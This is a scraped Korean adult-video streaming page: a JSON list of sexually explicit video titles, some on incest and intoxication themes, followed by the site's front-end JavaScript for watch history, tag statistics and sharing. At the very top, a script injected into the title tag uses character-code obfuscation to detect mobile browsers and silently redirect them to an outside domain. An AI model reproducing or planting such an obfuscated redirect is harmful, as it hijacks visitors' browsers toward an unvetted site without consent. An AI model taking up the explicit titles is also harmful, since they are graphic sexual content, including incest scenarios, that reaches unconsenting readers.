추천 영상
23:44
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>매우 아름다운 나체 가정부가 당신이 만지고, 놀고, 즐길 수 있도록 부끄러움 없이 옷을 벗습니다.</script></title>
매우 아름다운 나체 가정부가 당신이 만지고, 놀고, 즐길 수 있도록 부끄러움 없이 옷을 벗습니다.","lastmod":"2026-07-11","duration":"23:44","url":"/play/19163761.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzViNDdkNTRjNDFiYzEwZGVjYjk3Nzg0Yjc5YzdiZGEuanBn.cache","vod_id":18961520,"title":"숨 막힐 듯 아름다운 두 성숙한 여성이, 공중으로 뻗어 나가는 관능적인 질을 드러낸 채, 한 남자와의 싸움에서 최고의 쾌감을 만끽하고 있다.","lastmod":"2025-12-14","duration":"01:59:59","url":"/play/18961520.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTUxNDQyODg4NTgzZjM2ZWUyNWU1NTY1MDZhZjM3MjUuanBn.cache","vod_id":19001231,"title":"DASD-609 이 유부녀에게 유혹당한다면, 당신은 저항할 수 있겠습니까? 그녀는 같은 아파트 층에 사는 남성들을 노립니다. 마리아 나가이","lastmod":"2025-03-23","duration":"02:06:53","url":"/play/19001231.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDY4NzU1ZWQxM2I2MjdhZGJkZGQ4ZDAzYTc2NTk5NzYuanBn.cache","vod_id":19002646,"title":"PPPD-724 여자친구의 가슴 큰 누나가 질내 사정을 약속하며 나를 유혹했다. (사키하라 린)","lastmod":"2025-03-23","duration":"01:56:24","url":"/play/19002646.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTkvMTVkNmFiZjU0MGU3MWQ4MTkxODc1MjkzNWY2MjhhODIuanBn.cache","vod_id":19058513,"title":"MIKR002 아름답고 현대적인 여성을 좋아하시나요? 긴자 AGA 전문 클리닉의 상담사가 도와드립니다.","lastmod":"2025-10-18","duration":"03:00:54","url":"/play/19058513.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmNjMTY5YzcxNDgwMzg4MmMwNTY2ODRiMTQ4MzU2NWMuanBn.cache","vod_id":18970959,"title":"FC2PPV 3259155 [무삭제판] 니시노 나나세를 닮은 아마추어 미녀. 날씬한 몸매에 풍만한 가슴, 완벽한 몸매를 가진 그녀는 나이 많고 정력적인 남자들의 손아귀에 있다.","lastmod":"2025-03-23","duration":"01:04:06","url":"/play/18970959.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTkyOTQzNDYwMTUxMTdkMDA3ZDYwMWFmZGNjMDNkOWIuanBn.cache","vod_id":18953190,"title":"\"최상급 ⭐ 헤비급 ☛ 궁극의 대비\" - 얼굴을 보여주는 것이 핵심! 달콤하고 짭짤한, 예쁜 인터넷 스타 여신 유미의 사적인 사진들이 그녀의 슈가대디에게 다양한 방식으로 훈련받고 있다. 쯔웨이는 그녀의 복숭아 모양 엉덩이로 사정하고 섹스를 한다(9)","lastmod":"2025-03-22","duration":"00:06:21","url":"/play/18953190.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWVmOTAyZmI1N2YzOTkwZGMxYTZiNzI4MjNmNzY4MzMuanBn.cache","vod_id":18986185,"title":"KAWD-979 \"처음으로 성관계를 해요...\" F컵의 활동적인 여대생 에로스가 유아 타카나시 역으로 귀여운 데뷔를 합니다.","lastmod":"2025-03-23","duration":"02:29:09","url":"/play/18986185.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjE0OTBhODQyMTU1OTU2NDlkMWFkYjNkMTU2NjhkNzAuanBn.cache","vod_id":19147694,"title":"달콤한 오렌지를 곁들인 매혹적인 포즈와 크고 탄력 있는 가슴을 자랑하는 여신들의 사진 모음입니다.","lastmod":"2026-03-11","duration":"03:12:03","url":"/play/19147694.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDM4OWUxNTVhYTIxYWMxOTZmMTdiODFkNjEzM2FiNDguanBn.cache","vod_id":19001339,"title":"HBAD-499: 연상의 남자를 좋아하는 의붓딸이 몰래 어머니에게 자신의 젊은 몸을 드러낸다. 그녀는 유혹당한 의붓아버지와 열정적으로 키스하고 성관계를 맺으며, 결국 의붓아버지는 그녀의 질 안에 사정한다.","lastmod":"2025-03-23","duration":"02:00:15","url":"/play/19001339.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTc3ZjljM2JiZTcyODJmNmUxYzQxNzRhZTkyMGZiN2EuanBn.cache","vod_id":18970694,"title":"일류 도시의 인사 담당 직원인 샤오바이 야야는 사무실에서 너무 가려워서 화장실에 가고 싶어 죽겠다! ~~~✨✨✨--최고의 반전 매력을 가진 그녀, 여러분을 위한 풍성한 콘텐츠 9-17-2_(신작)","lastmod":"2025-03-23","duration":"00:09:19","url":"/play/18970694.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODgxZWYxZGIzZWExMzYzOGYxNDI3MzM3OTMzNzhiNjIuanBn.cache","vod_id":18952956,"title":"안경을 쓴 음탕하고 성숙한 여성이 침실에 숨어 자위하며 남성 팬들에게 유니폼 페티시를 드러낸다. 검은색 망사 스타킹을 신은 그녀의 큰 엉덩이, 다리를 벌린 모습, 그리고 싱싱한 외음부가 클로즈업으로 보여진다.","lastmod":"2025-03-22","duration":"01:35:48","url":"/play/18952956.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDFlY2QzY2UyNTI0MWRlMDY3YWZmYzQ2YzRiODk1M2UuanBn.cache","vod_id":19140233,"title":"하이힐, 검은 스타킹, 통통한 엉덩이, 큰 가슴, 성욕이 넘치는 여자, 음란한 말, 유혹적인 대화, 딜도를 사용하는 모습과 섹스하는 모습의 클로즈업.","lastmod":"2026-01-25","duration":"24:47","url":"/play/19140233.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMGM0MmY0NWQ2NmEwMDhlMDMyYjgzNzQwYjYzZGY1ZjcuanBn.cache","vod_id":19142978,"title":"추천 메뉴: 눈부시게 아름다운 두 여신, 샤오시시와 그녀의 절친이 부드럽고 맛있는 전복을 선보입니다!","lastmod":"2026-02-12","duration":"02:24:07","url":"/play/19142978.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDc2YzRkZjg0NWRkMmU0ZDlmYjE0NDFiOTZlZjVlNDEuanBn.cache","vod_id":19022846,"title":"GS262에 새로 입사한 귀여운 여직원이 입사 환영 파티에서 술을 마신 후 음탕한 여자로 변해버린다.","lastmod":"2025-03-24","duration":"02:05:31","url":"/play/19022846.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjM5ODJmYzhkZGI1YTIwNzIyNDNhZDJiOTFmZjI0YzguanBn.cache","vod_id":18991774,"title":"259LUXU-1129 럭셔리 TV 1112 아름다운 가슴과 엉덩이를 가진 승무원(기혼 여성)이 사디스트 남편의 지도 아래 AV 경험을 한다! 남편을 생각하며 능숙한 오럴 섹스 기술로 다른 남자의 성기를 애무한다! 그녀의 아름다운 몸은 거대한 성기가 주는 쾌감에 떨린다! 1","lastmod":"2025-03-23","duration":"01:11:33","url":"/play/18991774.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjZlNTNhYTQyOWM1YjAzYmE5Yzg2YTA3YWNjYzkxNTcuanBn.cache","vod_id":18968196,"title":"[중국어 자막] SSIS-613 최고급 유흥업소, 거대하고 아름다운 J컵 가슴 - 와시오 우메","lastmod":"2025-12-14","duration":"01:58:13","url":"/play/18968196.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjdkNzMxN2I0NjQxZTI3NzZlNTBmMWQ0NDk5YWEyOGEuanBn.cache","vod_id":18989630,"title":"CAWD-040은 특정 비디오 웹사이트에서 활동하는, 겉으로는 보이시하지만 속으로는 글래머러스한 인터넷 스타를 주인공으로 합니다. 그녀는 오르가즘에 도달한 후에도 끊임없는 피스톤 운동과 같은 격렬한 움직임에 시달리다 결국 완전히 압도되어 하염없이 울음을 터뜨립니다. 사토 리코","lastmod":"2025-03-23","duration":"01:59:32","url":"/play/18989630.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTUvNDliOGE1YzUwZWY2MWI0ZTQ2MmQzYzU3ODZkYTU3ZDEuanBn.cache","vod_id":19038441,"title":"MIFD248 신인! 몸매 100점! 미소 200점! 대학생임에도 불구하고, 명랑하면서도 비정상적으로 글래머러스한 몸매를 자랑합니다.","lastmod":"2025-06-15","duration":"02:55:58","url":"/play/19038441.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2E4ZGQzOWY0YzYxMTk3OTNmMjk5ZDIzYzc0M2Y1MDIuanBn.cache","vod_id":18971382,"title":"[중국어 자막] CAWD-517 저는 아르바이트생(지하 아이돌)의 키스 유혹에 넘어갔고, 나이도 많은데 결국 불륜에 중독되고 말았습니다.","lastmod":"2025-12-14","duration":"01:58:18","url":"/play/18971382.html"}]},
videoTitle: 'JVID의 최고 신인 배우인 릴루는 놀랍도록 아름다운 가슴을 자랑하며, 기모노를 입고 완전히 나체로 매혹적인 자태를 뽐냅니다. 이 영상은 그녀의 에로틱한 모습을 담은 숨겨진 버전입니다.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}